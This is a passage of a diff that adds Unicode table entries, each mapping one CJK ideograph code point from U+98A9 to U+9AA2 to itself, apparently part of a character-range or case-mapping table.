+ ["\u98A9", "\u98A9"], /* CJK Ideograph */
+ ["\u98AA", "\u98AA"], /* CJK Ideograph */
+ ["\u98AB", "\u98AB"], /* CJK Ideograph */
+ ["\u98AC", "\u98AC"], /* CJK Ideograph */
+ ["\u98AD", "\u98AD"], /* CJK Ideograph */
+ ["\u98AE", "\u98AE"], /* CJK Ideograph */
+ ["\u98AF", "\u98AF"], /* CJK Ideograph */
+ ["\u98B0", "\u98B0"], /* CJK Ideograph */
+ ["\u98B1", "\u98B1"], /* CJK Ideograph */
+ ["\u98B2", "\u98B2"], /* CJK Ideograph */
+ ["\u98B3", "\u98B3"], /* CJK Ideograph */
+ ["\u98B4", "\u98B4"], /* CJK Ideograph */
+ ["\u98B5", "\u98B5"], /* CJK Ideograph */
+ ["\u98B6", "\u98B6"], /* CJK Ideograph */
+ ["\u98B7", "\u98B7"], /* CJK Ideograph */
+ ["\u98B8", "\u98B8"], /* CJK Ideograph */
+ ["\u98B9", "\u98B9"], /* CJK Ideograph */
+ ["\u98BA", "\u98BA"], /* CJK Ideograph */
+ ["\u98BB", "\u98BB"], /* CJK Ideograph */
+ ["\u98BC", "\u98BC"], /* CJK Ideograph */
+ ["\u98BD", "\u98BD"], /* CJK Ideograph */
+ ["\u98BE", "\u98BE"], /* CJK Ideograph */
+ ["\u98BF", "\u98BF"], /* CJK Ideograph */
+ ["\u98C0", "\u98C0"], /* CJK Ideograph */
+ ["\u98C1", "\u98C1"], /* CJK Ideograph */
+ ["\u98C2", "\u98C2"], /* CJK Ideograph */
+ ["\u98C3", "\u98C3"], /* CJK Ideograph */
+ ["\u98C4", "\u98C4"], /* CJK Ideograph */
+ ["\u98C5", "\u98C5"], /* CJK Ideograph */
+ ["\u98C6", "\u98C6"], /* CJK Ideograph */
+ ["\u98C7", "\u98C7"], /* CJK Ideograph */
+ ["\u98C8", "\u98C8"], /* CJK Ideograph */
+ ["\u98C9", "\u98C9"], /* CJK Ideograph */
+ ["\u98CA", "\u98CA"], /* CJK Ideograph */
+ ["\u98CB", "\u98CB"], /* CJK Ideograph */
+ ["\u98CC", "\u98CC"], /* CJK Ideograph */
+ ["\u98CD", "\u98CD"], /* CJK Ideograph */
+ ["\u98CE", "\u98CE"], /* CJK Ideograph */
+ ["\u98CF", "\u98CF"], /* CJK Ideograph */
+ ["\u98D0", "\u98D0"], /* CJK Ideograph */
+ ["\u98D1", "\u98D1"], /* CJK Ideograph */
+ ["\u98D2", "\u98D2"], /* CJK Ideograph */
+ ["\u98D3", "\u98D3"], /* CJK Ideograph */
+ ["\u98D4", "\u98D4"], /* CJK Ideograph */
+ ["\u98D5", "\u98D5"], /* CJK Ideograph */
+ ["\u98D6", "\u98D6"], /* CJK Ideograph */
+ ["\u98D7", "\u98D7"], /* CJK Ideograph */
+ ["\u98D8", "\u98D8"], /* CJK Ideograph */
+ ["\u98D9", "\u98D9"], /* CJK Ideograph */
+ ["\u98DA", "\u98DA"], /* CJK Ideograph */
+ ["\u98DB", "\u98DB"], /* CJK Ideograph */
+ ["\u98DC", "\u98DC"], /* CJK Ideograph */
+ ["\u98DD", "\u98DD"], /* CJK Ideograph */
+ ["\u98DE", "\u98DE"], /* CJK Ideograph */
+ ["\u98DF", "\u98DF"], /* CJK Ideograph */
+ ["\u98E0", "\u98E0"], /* CJK Ideograph */
+ ["\u98E1", "\u98E1"], /* CJK Ideograph */
+ ["\u98E2", "\u98E2"], /* CJK Ideograph */
+ ["\u98E3", "\u98E3"], /* CJK Ideograph */
+ ["\u98E4", "\u98E4"], /* CJK Ideograph */
+ ["\u98E5", "\u98E5"], /* CJK Ideograph */
+ ["\u98E6", "\u98E6"], /* CJK Ideograph */
+ ["\u98E7", "\u98E7"], /* CJK Ideograph */
+ ["\u98E8", "\u98E8"], /* CJK Ideograph */
+ ["\u98E9", "\u98E9"], /* CJK Ideograph */
+ ["\u98EA", "\u98EA"], /* CJK Ideograph */
+ ["\u98EB", "\u98EB"], /* CJK Ideograph */
+ ["\u98EC", "\u98EC"], /* CJK Ideograph */
+ ["\u98ED", "\u98ED"], /* CJK Ideograph */
+ ["\u98EE", "\u98EE"], /* CJK Ideograph */
+ ["\u98EF", "\u98EF"], /* CJK Ideograph */
+ ["\u98F0", "\u98F0"], /* CJK Ideograph */
+ ["\u98F1", "\u98F1"], /* CJK Ideograph */
+ ["\u98F2", "\u98F2"], /* CJK Ideograph */
+ ["\u98F3", "\u98F3"], /* CJK Ideograph */
+ ["\u98F4", "\u98F4"], /* CJK Ideograph */
+ ["\u98F5", "\u98F5"], /* CJK Ideograph */
+ ["\u98F6", "\u98F6"], /* CJK Ideograph */
+ ["\u98F7", "\u98F7"], /* CJK Ideograph */
+ ["\u98F8", "\u98F8"], /* CJK Ideograph */
+ ["\u98F9", "\u98F9"], /* CJK Ideograph */
+ ["\u98FA", "\u98FA"], /* CJK Ideograph */
+ ["\u98FB", "\u98FB"], /* CJK Ideograph */
+ ["\u98FC", "\u98FC"], /* CJK Ideograph */
+ ["\u98FD", "\u98FD"], /* CJK Ideograph */
+ ["\u98FE", "\u98FE"], /* CJK Ideograph */
+ ["\u98FF", "\u98FF"], /* CJK Ideograph */
+ ["\u9900", "\u9900"], /* CJK Ideograph */
+ ["\u9901", "\u9901"], /* CJK Ideograph */
+ ["\u9902", "\u9902"], /* CJK Ideograph */
+ ["\u9903", "\u9903"], /* CJK Ideograph */
+ ["\u9904", "\u9904"], /* CJK Ideograph */
+ ["\u9905", "\u9905"], /* CJK Ideograph */
+ ["\u9906", "\u9906"], /* CJK Ideograph */
+ ["\u9907", "\u9907"], /* CJK Ideograph */
+ ["\u9908", "\u9908"], /* CJK Ideograph */
+ ["\u9909", "\u9909"], /* CJK Ideograph */
+ ["\u990A", "\u990A"], /* CJK Ideograph */
+ ["\u990B", "\u990B"], /* CJK Ideograph */
+ ["\u990C", "\u990C"], /* CJK Ideograph */
+ ["\u990D", "\u990D"], /* CJK Ideograph */
+ ["\u990E", "\u990E"], /* CJK Ideograph */
+ ["\u990F", "\u990F"], /* CJK Ideograph */
+ ["\u9910", "\u9910"], /* CJK Ideograph */
+ ["\u9911", "\u9911"], /* CJK Ideograph */
+ ["\u9912", "\u9912"], /* CJK Ideograph */
+ ["\u9913", "\u9913"], /* CJK Ideograph */
+ ["\u9914", "\u9914"], /* CJK Ideograph */
+ ["\u9915", "\u9915"], /* CJK Ideograph */
+ ["\u9916", "\u9916"], /* CJK Ideograph */
+ ["\u9917", "\u9917"], /* CJK Ideograph */
+ ["\u9918", "\u9918"], /* CJK Ideograph */
+ ["\u9919", "\u9919"], /* CJK Ideograph */
+ ["\u991A", "\u991A"], /* CJK Ideograph */
+ ["\u991B", "\u991B"], /* CJK Ideograph */
+ ["\u991C", "\u991C"], /* CJK Ideograph */
+ ["\u991D", "\u991D"], /* CJK Ideograph */
+ ["\u991E", "\u991E"], /* CJK Ideograph */
+ ["\u991F", "\u991F"], /* CJK Ideograph */
+ ["\u9920", "\u9920"], /* CJK Ideograph */
+ ["\u9921", "\u9921"], /* CJK Ideograph */
+ ["\u9922", "\u9922"], /* CJK Ideograph */
+ ["\u9923", "\u9923"], /* CJK Ideograph */
+ ["\u9924", "\u9924"], /* CJK Ideograph */
+ ["\u9925", "\u9925"], /* CJK Ideograph */
+ ["\u9926", "\u9926"], /* CJK Ideograph */
+ ["\u9927", "\u9927"], /* CJK Ideograph */
+ ["\u9928", "\u9928"], /* CJK Ideograph */
+ ["\u9929", "\u9929"], /* CJK Ideograph */
+ ["\u992A", "\u992A"], /* CJK Ideograph */
+ ["\u992B", "\u992B"], /* CJK Ideograph */
+ ["\u992C", "\u992C"], /* CJK Ideograph */
+ ["\u992D", "\u992D"], /* CJK Ideograph */
+ ["\u992E", "\u992E"], /* CJK Ideograph */
+ ["\u992F", "\u992F"], /* CJK Ideograph */
+ ["\u9930", "\u9930"], /* CJK Ideograph */
+ ["\u9931", "\u9931"], /* CJK Ideograph */
+ ["\u9932", "\u9932"], /* CJK Ideograph */
+ ["\u9933", "\u9933"], /* CJK Ideograph */
+ ["\u9934", "\u9934"], /* CJK Ideograph */
+ ["\u9935", "\u9935"], /* CJK Ideograph */
+ ["\u9936", "\u9936"], /* CJK Ideograph */
+ ["\u9937", "\u9937"], /* CJK Ideograph */
+ ["\u9938", "\u9938"], /* CJK Ideograph */
+ ["\u9939", "\u9939"], /* CJK Ideograph */
+ ["\u993A", "\u993A"], /* CJK Ideograph */
+ ["\u993B", "\u993B"], /* CJK Ideograph */
+ ["\u993C", "\u993C"], /* CJK Ideograph */
+ ["\u993D", "\u993D"], /* CJK Ideograph */
+ ["\u993E", "\u993E"], /* CJK Ideograph */
+ ["\u993F", "\u993F"], /* CJK Ideograph */
+ ["\u9940", "\u9940"], /* CJK Ideograph */
+ ["\u9941", "\u9941"], /* CJK Ideograph */
+ ["\u9942", "\u9942"], /* CJK Ideograph */
+ ["\u9943", "\u9943"], /* CJK Ideograph */
+ ["\u9944", "\u9944"], /* CJK Ideograph */
+ ["\u9945", "\u9945"], /* CJK Ideograph */
+ ["\u9946", "\u9946"], /* CJK Ideograph */
+ ["\u9947", "\u9947"], /* CJK Ideograph */
+ ["\u9948", "\u9948"], /* CJK Ideograph */
+ ["\u9949", "\u9949"], /* CJK Ideograph */
+ ["\u994A", "\u994A"], /* CJK Ideograph */
+ ["\u994B", "\u994B"], /* CJK Ideograph */
+ ["\u994C", "\u994C"], /* CJK Ideograph */
+ ["\u994D", "\u994D"], /* CJK Ideograph */
+ ["\u994E", "\u994E"], /* CJK Ideograph */
+ ["\u994F", "\u994F"], /* CJK Ideograph */
+ ["\u9950", "\u9950"], /* CJK Ideograph */
+ ["\u9951", "\u9951"], /* CJK Ideograph */
+ ["\u9952", "\u9952"], /* CJK Ideograph */
+ ["\u9953", "\u9953"], /* CJK Ideograph */
+ ["\u9954", "\u9954"], /* CJK Ideograph */
+ ["\u9955", "\u9955"], /* CJK Ideograph */
+ ["\u9956", "\u9956"], /* CJK Ideograph */
+ ["\u9957", "\u9957"], /* CJK Ideograph */
+ ["\u9958", "\u9958"], /* CJK Ideograph */
+ ["\u9959", "\u9959"], /* CJK Ideograph */
+ ["\u995A", "\u995A"], /* CJK Ideograph */
+ ["\u995B", "\u995B"], /* CJK Ideograph */
+ ["\u995C", "\u995C"], /* CJK Ideograph */
+ ["\u995D", "\u995D"], /* CJK Ideograph */
+ ["\u995E", "\u995E"], /* CJK Ideograph */
+ ["\u995F", "\u995F"], /* CJK Ideograph */
+ ["\u9960", "\u9960"], /* CJK Ideograph */
+ ["\u9961", "\u9961"], /* CJK Ideograph */
+ ["\u9962", "\u9962"], /* CJK Ideograph */
+ ["\u9963", "\u9963"], /* CJK Ideograph */
+ ["\u9964", "\u9964"], /* CJK Ideograph */
+ ["\u9965", "\u9965"], /* CJK Ideograph */
+ ["\u9966", "\u9966"], /* CJK Ideograph */
+ ["\u9967", "\u9967"], /* CJK Ideograph */
+ ["\u9968", "\u9968"], /* CJK Ideograph */
+ ["\u9969", "\u9969"], /* CJK Ideograph */
+ ["\u996A", "\u996A"], /* CJK Ideograph */
+ ["\u996B", "\u996B"], /* CJK Ideograph */
+ ["\u996C", "\u996C"], /* CJK Ideograph */
+ ["\u996D", "\u996D"], /* CJK Ideograph */
+ ["\u996E", "\u996E"], /* CJK Ideograph */
+ ["\u996F", "\u996F"], /* CJK Ideograph */
+ ["\u9970", "\u9970"], /* CJK Ideograph */
+ ["\u9971", "\u9971"], /* CJK Ideograph */
+ ["\u9972", "\u9972"], /* CJK Ideograph */
+ ["\u9973", "\u9973"], /* CJK Ideograph */
+ ["\u9974", "\u9974"], /* CJK Ideograph */
+ ["\u9975", "\u9975"], /* CJK Ideograph */
+ ["\u9976", "\u9976"], /* CJK Ideograph */
+ ["\u9977", "\u9977"], /* CJK Ideograph */
+ ["\u9978", "\u9978"], /* CJK Ideograph */
+ ["\u9979", "\u9979"], /* CJK Ideograph */
+ ["\u997A", "\u997A"], /* CJK Ideograph */
+ ["\u997B", "\u997B"], /* CJK Ideograph */
+ ["\u997C", "\u997C"], /* CJK Ideograph */
+ ["\u997D", "\u997D"], /* CJK Ideograph */
+ ["\u997E", "\u997E"], /* CJK Ideograph */
+ ["\u997F", "\u997F"], /* CJK Ideograph */
+ ["\u9980", "\u9980"], /* CJK Ideograph */
+ ["\u9981", "\u9981"], /* CJK Ideograph */
+ ["\u9982", "\u9982"], /* CJK Ideograph */
+ ["\u9983", "\u9983"], /* CJK Ideograph */
+ ["\u9984", "\u9984"], /* CJK Ideograph */
+ ["\u9985", "\u9985"], /* CJK Ideograph */
+ ["\u9986", "\u9986"], /* CJK Ideograph */
+ ["\u9987", "\u9987"], /* CJK Ideograph */
+ ["\u9988", "\u9988"], /* CJK Ideograph */
+ ["\u9989", "\u9989"], /* CJK Ideograph */
+ ["\u998A", "\u998A"], /* CJK Ideograph */
+ ["\u998B", "\u998B"], /* CJK Ideograph */
+ ["\u998C", "\u998C"], /* CJK Ideograph */
+ ["\u998D", "\u998D"], /* CJK Ideograph */
+ ["\u998E", "\u998E"], /* CJK Ideograph */
+ ["\u998F", "\u998F"], /* CJK Ideograph */
+ ["\u9990", "\u9990"], /* CJK Ideograph */
+ ["\u9991", "\u9991"], /* CJK Ideograph */
+ ["\u9992", "\u9992"], /* CJK Ideograph */
+ ["\u9993", "\u9993"], /* CJK Ideograph */
+ ["\u9994", "\u9994"], /* CJK Ideograph */
+ ["\u9995", "\u9995"], /* CJK Ideograph */
+ ["\u9996", "\u9996"], /* CJK Ideograph */
+ ["\u9997", "\u9997"], /* CJK Ideograph */
+ ["\u9998", "\u9998"], /* CJK Ideograph */
+ ["\u9999", "\u9999"], /* CJK Ideograph */
+ ["\u999A", "\u999A"], /* CJK Ideograph */
+ ["\u999B", "\u999B"], /* CJK Ideograph */
+ ["\u999C", "\u999C"], /* CJK Ideograph */
+ ["\u999D", "\u999D"], /* CJK Ideograph */
+ ["\u999E", "\u999E"], /* CJK Ideograph */
+ ["\u999F", "\u999F"], /* CJK Ideograph */
+ ["\u99A0", "\u99A0"], /* CJK Ideograph */
+ ["\u99A1", "\u99A1"], /* CJK Ideograph */
+ ["\u99A2", "\u99A2"], /* CJK Ideograph */
+ ["\u99A3", "\u99A3"], /* CJK Ideograph */
+ ["\u99A4", "\u99A4"], /* CJK Ideograph */
+ ["\u99A5", "\u99A5"], /* CJK Ideograph */
+ ["\u99A6", "\u99A6"], /* CJK Ideograph */
+ ["\u99A7", "\u99A7"], /* CJK Ideograph */
+ ["\u99A8", "\u99A8"], /* CJK Ideograph */
+ ["\u99A9", "\u99A9"], /* CJK Ideograph */
+ ["\u99AA", "\u99AA"], /* CJK Ideograph */
+ ["\u99AB", "\u99AB"], /* CJK Ideograph */
+ ["\u99AC", "\u99AC"], /* CJK Ideograph */
+ ["\u99AD", "\u99AD"], /* CJK Ideograph */
+ ["\u99AE", "\u99AE"], /* CJK Ideograph */
+ ["\u99AF", "\u99AF"], /* CJK Ideograph */
+ ["\u99B0", "\u99B0"], /* CJK Ideograph */
+ ["\u99B1", "\u99B1"], /* CJK Ideograph */
+ ["\u99B2", "\u99B2"], /* CJK Ideograph */
+ ["\u99B3", "\u99B3"], /* CJK Ideograph */
+ ["\u99B4", "\u99B4"], /* CJK Ideograph */
+ ["\u99B5", "\u99B5"], /* CJK Ideograph */
+ ["\u99B6", "\u99B6"], /* CJK Ideograph */
+ ["\u99B7", "\u99B7"], /* CJK Ideograph */
+ ["\u99B8", "\u99B8"], /* CJK Ideograph */
+ ["\u99B9", "\u99B9"], /* CJK Ideograph */
+ ["\u99BA", "\u99BA"], /* CJK Ideograph */
+ ["\u99BB", "\u99BB"], /* CJK Ideograph */
+ ["\u99BC", "\u99BC"], /* CJK Ideograph */
+ ["\u99BD", "\u99BD"], /* CJK Ideograph */
+ ["\u99BE", "\u99BE"], /* CJK Ideograph */
+ ["\u99BF", "\u99BF"], /* CJK Ideograph */
+ ["\u99C0", "\u99C0"], /* CJK Ideograph */
+ ["\u99C1", "\u99C1"], /* CJK Ideograph */
+ ["\u99C2", "\u99C2"], /* CJK Ideograph */
+ ["\u99C3", "\u99C3"], /* CJK Ideograph */
+ ["\u99C4", "\u99C4"], /* CJK Ideograph */
+ ["\u99C5", "\u99C5"], /* CJK Ideograph */
+ ["\u99C6", "\u99C6"], /* CJK Ideograph */
+ ["\u99C7", "\u99C7"], /* CJK Ideograph */
+ ["\u99C8", "\u99C8"], /* CJK Ideograph */
+ ["\u99C9", "\u99C9"], /* CJK Ideograph */
+ ["\u99CA", "\u99CA"], /* CJK Ideograph */
+ ["\u99CB", "\u99CB"], /* CJK Ideograph */
+ ["\u99CC", "\u99CC"], /* CJK Ideograph */
+ ["\u99CD", "\u99CD"], /* CJK Ideograph */
+ ["\u99CE", "\u99CE"], /* CJK Ideograph */
+ ["\u99CF", "\u99CF"], /* CJK Ideograph */
+ ["\u99D0", "\u99D0"], /* CJK Ideograph */
+ ["\u99D1", "\u99D1"], /* CJK Ideograph */
+ ["\u99D2", "\u99D2"], /* CJK Ideograph */
+ ["\u99D3", "\u99D3"], /* CJK Ideograph */
+ ["\u99D4", "\u99D4"], /* CJK Ideograph */
+ ["\u99D5", "\u99D5"], /* CJK Ideograph */
+ ["\u99D6", "\u99D6"], /* CJK Ideograph */
+ ["\u99D7", "\u99D7"], /* CJK Ideograph */
+ ["\u99D8", "\u99D8"], /* CJK Ideograph */
+ ["\u99D9", "\u99D9"], /* CJK Ideograph */
+ ["\u99DA", "\u99DA"], /* CJK Ideograph */
+ ["\u99DB", "\u99DB"], /* CJK Ideograph */
+ ["\u99DC", "\u99DC"], /* CJK Ideograph */
+ ["\u99DD", "\u99DD"], /* CJK Ideograph */
+ ["\u99DE", "\u99DE"], /* CJK Ideograph */
+ ["\u99DF", "\u99DF"], /* CJK Ideograph */
+ ["\u99E0", "\u99E0"], /* CJK Ideograph */
+ ["\u99E1", "\u99E1"], /* CJK Ideograph */
+ ["\u99E2", "\u99E2"], /* CJK Ideograph */
+ ["\u99E3", "\u99E3"], /* CJK Ideograph */
+ ["\u99E4", "\u99E4"], /* CJK Ideograph */
+ ["\u99E5", "\u99E5"], /* CJK Ideograph */
+ ["\u99E6", "\u99E6"], /* CJK Ideograph */
+ ["\u99E7", "\u99E7"], /* CJK Ideograph */
+ ["\u99E8", "\u99E8"], /* CJK Ideograph */
+ ["\u99E9", "\u99E9"], /* CJK Ideograph */
+ ["\u99EA", "\u99EA"], /* CJK Ideograph */
+ ["\u99EB", "\u99EB"], /* CJK Ideograph */
+ ["\u99EC", "\u99EC"], /* CJK Ideograph */
+ ["\u99ED", "\u99ED"], /* CJK Ideograph */
+ ["\u99EE", "\u99EE"], /* CJK Ideograph */
+ ["\u99EF", "\u99EF"], /* CJK Ideograph */
+ ["\u99F0", "\u99F0"], /* CJK Ideograph */
+ ["\u99F1", "\u99F1"], /* CJK Ideograph */
+ ["\u99F2", "\u99F2"], /* CJK Ideograph */
+ ["\u99F3", "\u99F3"], /* CJK Ideograph */
+ ["\u99F4", "\u99F4"], /* CJK Ideograph */
+ ["\u99F5", "\u99F5"], /* CJK Ideograph */
+ ["\u99F6", "\u99F6"], /* CJK Ideograph */
+ ["\u99F7", "\u99F7"], /* CJK Ideograph */
+ ["\u99F8", "\u99F8"], /* CJK Ideograph */
+ ["\u99F9", "\u99F9"], /* CJK Ideograph */
+ ["\u99FA", "\u99FA"], /* CJK Ideograph */
+ ["\u99FB", "\u99FB"], /* CJK Ideograph */
+ ["\u99FC", "\u99FC"], /* CJK Ideograph */
+ ["\u99FD", "\u99FD"], /* CJK Ideograph */
+ ["\u99FE", "\u99FE"], /* CJK Ideograph */
+ ["\u99FF", "\u99FF"], /* CJK Ideograph */
+ ["\u9A00", "\u9A00"], /* CJK Ideograph */
+ ["\u9A01", "\u9A01"], /* CJK Ideograph */
+ ["\u9A02", "\u9A02"], /* CJK Ideograph */
+ ["\u9A03", "\u9A03"], /* CJK Ideograph */
+ ["\u9A04", "\u9A04"], /* CJK Ideograph */
+ ["\u9A05", "\u9A05"], /* CJK Ideograph */
+ ["\u9A06", "\u9A06"], /* CJK Ideograph */
+ ["\u9A07", "\u9A07"], /* CJK Ideograph */
+ ["\u9A08", "\u9A08"], /* CJK Ideograph */
+ ["\u9A09", "\u9A09"], /* CJK Ideograph */
+ ["\u9A0A", "\u9A0A"], /* CJK Ideograph */
+ ["\u9A0B", "\u9A0B"], /* CJK Ideograph */
+ ["\u9A0C", "\u9A0C"], /* CJK Ideograph */
+ ["\u9A0D", "\u9A0D"], /* CJK Ideograph */
+ ["\u9A0E", "\u9A0E"], /* CJK Ideograph */
+ ["\u9A0F", "\u9A0F"], /* CJK Ideograph */
+ ["\u9A10", "\u9A10"], /* CJK Ideograph */
+ ["\u9A11", "\u9A11"], /* CJK Ideograph */
+ ["\u9A12", "\u9A12"], /* CJK Ideograph */
+ ["\u9A13", "\u9A13"], /* CJK Ideograph */
+ ["\u9A14", "\u9A14"], /* CJK Ideograph */
+ ["\u9A15", "\u9A15"], /* CJK Ideograph */
+ ["\u9A16", "\u9A16"], /* CJK Ideograph */
+ ["\u9A17", "\u9A17"], /* CJK Ideograph */
+ ["\u9A18", "\u9A18"], /* CJK Ideograph */
+ ["\u9A19", "\u9A19"], /* CJK Ideograph */
+ ["\u9A1A", "\u9A1A"], /* CJK Ideograph */
+ ["\u9A1B", "\u9A1B"], /* CJK Ideograph */
+ ["\u9A1C", "\u9A1C"], /* CJK Ideograph */
+ ["\u9A1D", "\u9A1D"], /* CJK Ideograph */
+ ["\u9A1E", "\u9A1E"], /* CJK Ideograph */
+ ["\u9A1F", "\u9A1F"], /* CJK Ideograph */
+ ["\u9A20", "\u9A20"], /* CJK Ideograph */
+ ["\u9A21", "\u9A21"], /* CJK Ideograph */
+ ["\u9A22", "\u9A22"], /* CJK Ideograph */
+ ["\u9A23", "\u9A23"], /* CJK Ideograph */
+ ["\u9A24", "\u9A24"], /* CJK Ideograph */
+ ["\u9A25", "\u9A25"], /* CJK Ideograph */
+ ["\u9A26", "\u9A26"], /* CJK Ideograph */
+ ["\u9A27", "\u9A27"], /* CJK Ideograph */
+ ["\u9A28", "\u9A28"], /* CJK Ideograph */
+ ["\u9A29", "\u9A29"], /* CJK Ideograph */
+ ["\u9A2A", "\u9A2A"], /* CJK Ideograph */
+ ["\u9A2B", "\u9A2B"], /* CJK Ideograph */
+ ["\u9A2C", "\u9A2C"], /* CJK Ideograph */
+ ["\u9A2D", "\u9A2D"], /* CJK Ideograph */
+ ["\u9A2E", "\u9A2E"], /* CJK Ideograph */
+ ["\u9A2F", "\u9A2F"], /* CJK Ideograph */
+ ["\u9A30", "\u9A30"], /* CJK Ideograph */
+ ["\u9A31", "\u9A31"], /* CJK Ideograph */
+ ["\u9A32", "\u9A32"], /* CJK Ideograph */
+ ["\u9A33", "\u9A33"], /* CJK Ideograph */
+ ["\u9A34", "\u9A34"], /* CJK Ideograph */
+ ["\u9A35", "\u9A35"], /* CJK Ideograph */
+ ["\u9A36", "\u9A36"], /* CJK Ideograph */
+ ["\u9A37", "\u9A37"], /* CJK Ideograph */
+ ["\u9A38", "\u9A38"], /* CJK Ideograph */
+ ["\u9A39", "\u9A39"], /* CJK Ideograph */
+ ["\u9A3A", "\u9A3A"], /* CJK Ideograph */
+ ["\u9A3B", "\u9A3B"], /* CJK Ideograph */
+ ["\u9A3C", "\u9A3C"], /* CJK Ideograph */
+ ["\u9A3D", "\u9A3D"], /* CJK Ideograph */
+ ["\u9A3E", "\u9A3E"], /* CJK Ideograph */
+ ["\u9A3F", "\u9A3F"], /* CJK Ideograph */
+ ["\u9A40", "\u9A40"], /* CJK Ideograph */
+ ["\u9A41", "\u9A41"], /* CJK Ideograph */
+ ["\u9A42", "\u9A42"], /* CJK Ideograph */
+ ["\u9A43", "\u9A43"], /* CJK Ideograph */
+ ["\u9A44", "\u9A44"], /* CJK Ideograph */
+ ["\u9A45", "\u9A45"], /* CJK Ideograph */
+ ["\u9A46", "\u9A46"], /* CJK Ideograph */
+ ["\u9A47", "\u9A47"], /* CJK Ideograph */
+ ["\u9A48", "\u9A48"], /* CJK Ideograph */
+ ["\u9A49", "\u9A49"], /* CJK Ideograph */
+ ["\u9A4A", "\u9A4A"], /* CJK Ideograph */
+ ["\u9A4B", "\u9A4B"], /* CJK Ideograph */
+ ["\u9A4C", "\u9A4C"], /* CJK Ideograph */
+ ["\u9A4D", "\u9A4D"], /* CJK Ideograph */
+ ["\u9A4E", "\u9A4E"], /* CJK Ideograph */
+ ["\u9A4F", "\u9A4F"], /* CJK Ideograph */
+ ["\u9A50", "\u9A50"], /* CJK Ideograph */
+ ["\u9A51", "\u9A51"], /* CJK Ideograph */
+ ["\u9A52", "\u9A52"], /* CJK Ideograph */
+ ["\u9A53", "\u9A53"], /* CJK Ideograph */
+ ["\u9A54", "\u9A54"], /* CJK Ideograph */
+ ["\u9A55", "\u9A55"], /* CJK Ideograph */
+ ["\u9A56", "\u9A56"], /* CJK Ideograph */
+ ["\u9A57", "\u9A57"], /* CJK Ideograph */
+ ["\u9A58", "\u9A58"], /* CJK Ideograph */
+ ["\u9A59", "\u9A59"], /* CJK Ideograph */
+ ["\u9A5A", "\u9A5A"], /* CJK Ideograph */
+ ["\u9A5B", "\u9A5B"], /* CJK Ideograph */
+ ["\u9A5C", "\u9A5C"], /* CJK Ideograph */
+ ["\u9A5D", "\u9A5D"], /* CJK Ideograph */
+ ["\u9A5E", "\u9A5E"], /* CJK Ideograph */
+ ["\u9A5F", "\u9A5F"], /* CJK Ideograph */
+ ["\u9A60", "\u9A60"], /* CJK Ideograph */
+ ["\u9A61", "\u9A61"], /* CJK Ideograph */
+ ["\u9A62", "\u9A62"], /* CJK Ideograph */
+ ["\u9A63", "\u9A63"], /* CJK Ideograph */
+ ["\u9A64", "\u9A64"], /* CJK Ideograph */
+ ["\u9A65", "\u9A65"], /* CJK Ideograph */
+ ["\u9A66", "\u9A66"], /* CJK Ideograph */
+ ["\u9A67", "\u9A67"], /* CJK Ideograph */
+ ["\u9A68", "\u9A68"], /* CJK Ideograph */
+ ["\u9A69", "\u9A69"], /* CJK Ideograph */
+ ["\u9A6A", "\u9A6A"], /* CJK Ideograph */
+ ["\u9A6B", "\u9A6B"], /* CJK Ideograph */
+ ["\u9A6C", "\u9A6C"], /* CJK Ideograph */
+ ["\u9A6D", "\u9A6D"], /* CJK Ideograph */
+ ["\u9A6E", "\u9A6E"], /* CJK Ideograph */
+ ["\u9A6F", "\u9A6F"], /* CJK Ideograph */
+ ["\u9A70", "\u9A70"], /* CJK Ideograph */
+ ["\u9A71", "\u9A71"], /* CJK Ideograph */
+ ["\u9A72", "\u9A72"], /* CJK Ideograph */
+ ["\u9A73", "\u9A73"], /* CJK Ideograph */
+ ["\u9A74", "\u9A74"], /* CJK Ideograph */
+ ["\u9A75", "\u9A75"], /* CJK Ideograph */
+ ["\u9A76", "\u9A76"], /* CJK Ideograph */
+ ["\u9A77", "\u9A77"], /* CJK Ideograph */
+ ["\u9A78", "\u9A78"], /* CJK Ideograph */
+ ["\u9A79", "\u9A79"], /* CJK Ideograph */
+ ["\u9A7A", "\u9A7A"], /* CJK Ideograph */
+ ["\u9A7B", "\u9A7B"], /* CJK Ideograph */
+ ["\u9A7C", "\u9A7C"], /* CJK Ideograph */
+ ["\u9A7D", "\u9A7D"], /* CJK Ideograph */
+ ["\u9A7E", "\u9A7E"], /* CJK Ideograph */
+ ["\u9A7F", "\u9A7F"], /* CJK Ideograph */
+ ["\u9A80", "\u9A80"], /* CJK Ideograph */
+ ["\u9A81", "\u9A81"], /* CJK Ideograph */
+ ["\u9A82", "\u9A82"], /* CJK Ideograph */
+ ["\u9A83", "\u9A83"], /* CJK Ideograph */
+ ["\u9A84", "\u9A84"], /* CJK Ideograph */
+ ["\u9A85", "\u9A85"], /* CJK Ideograph */
+ ["\u9A86", "\u9A86"], /* CJK Ideograph */
+ ["\u9A87", "\u9A87"], /* CJK Ideograph */
+ ["\u9A88", "\u9A88"], /* CJK Ideograph */
+ ["\u9A89", "\u9A89"], /* CJK Ideograph */
+ ["\u9A8A", "\u9A8A"], /* CJK Ideograph */
+ ["\u9A8B", "\u9A8B"], /* CJK Ideograph */
+ ["\u9A8C", "\u9A8C"], /* CJK Ideograph */
+ ["\u9A8D", "\u9A8D"], /* CJK Ideograph */
+ ["\u9A8E", "\u9A8E"], /* CJK Ideograph */
+ ["\u9A8F", "\u9A8F"], /* CJK Ideograph */
+ ["\u9A90", "\u9A90"], /* CJK Ideograph */
+ ["\u9A91", "\u9A91"], /* CJK Ideograph */
+ ["\u9A92", "\u9A92"], /* CJK Ideograph */
+ ["\u9A93", "\u9A93"], /* CJK Ideograph */
+ ["\u9A94", "\u9A94"], /* CJK Ideograph */
+ ["\u9A95", "\u9A95"], /* CJK Ideograph */
+ ["\u9A96", "\u9A96"], /* CJK Ideograph */
+ ["\u9A97", "\u9A97"], /* CJK Ideograph */
+ ["\u9A98", "\u9A98"], /* CJK Ideograph */
+ ["\u9A99", "\u9A99"], /* CJK Ideograph */
+ ["\u9A9A", "\u9A9A"], /* CJK Ideograph */
+ ["\u9A9B", "\u9A9B"], /* CJK Ideograph */
+ ["\u9A9C", "\u9A9C"], /* CJK Ideograph */
+ ["\u9A9D", "\u9A9D"], /* CJK Ideograph */
+ ["\u9A9E", "\u9A9E"], /* CJK Ideograph */
+ ["\u9A9F", "\u9A9F"], /* CJK Ideograph */
+ ["\u9AA0", "\u9AA0"], /* CJK Ideograph */
+ ["\u9AA1", "\u9AA1"], /* CJK Ideograph */
+ ["\u9AA2", "\u9AA2"], /* CJK Ideograph */
